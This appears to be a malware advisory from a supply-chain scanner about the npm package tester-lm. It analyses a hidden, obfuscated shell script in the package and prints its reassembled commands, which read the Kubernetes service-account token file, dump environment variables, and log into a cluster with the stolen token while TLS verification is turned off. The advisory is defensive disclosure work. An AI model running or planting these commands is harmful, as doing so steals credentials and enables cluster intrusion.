tester-lm@0.0.1
Malicious code in tester-lm (npm)
Analysis
The package ships package/tester.sh, a shell script that hides its commands from string scanners by splitting them into single-token shell variables and reassembling them at run time with eval. Two payloads are built this way. The first reassembles to `export DEBUG_FILE=$(cat /var/run/secrets/kubernetes[.]io/serviceaccount/token 2>/dev/null)`, reading the Kubernetes/OpenShift service-account token of whatever host the script runs on and stashing it in the DEBUG_FILE environment variable; the same file also assembles and runs a bare `printenv` (variables a+b+c). The second reassembles to `./oc login --token=$DEBUG_FILE --server=$SERV --insecure-skip-tls-verify`, authenticating to a cluster API with the stolen token, using a server address taken from the SERV environment variable (also echoed verbatim by the script) and disabling TLS certificate verification. The credentials are therefore consumed by an operator-driven second stage rather than a hardcoded endpoint, so the package embeds no fixed C2 host or IP; the indicators are the file path /var/run/secrets/kubernetes[.]io/serviceaccount/token, the assembled commands `export DEBUG_FILE=$(cat <service-account token>)` and `./oc login --token=… --server=… --insecure-skip-tls-verify`, and the SERV / DEBUG_FILE environment variables. Nothing invokes tester.sh from an install hook; the package's other script (tester.js) is an unrelated user-directed HTTP and DNS client, and the bundled DISCLOSURE claims the package does not collect authentication tokens, which contradicts the hidden script.
- analyzed by
- Leitwacht
- first seen
- Nov 19, 2026, 06:38 PM
- analyzed
- Nov 19, 2026, 06:39 PM
Related advisories
- ts-lint-builders-v2.1@2.1.0
- ref-slot@1.0.9
- block-slot@1.0.9
- @csc-protocol/token-saver@1.1.0
- @retailrocketgroup/retailrocket-edit.abandoned-view-vue-email-template-render@11.0.433449
- agent-bypass@2.30.2
- amlekzo@1.0.0
- orderly-plugin-liquidity-heatmap@1.0.0
Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.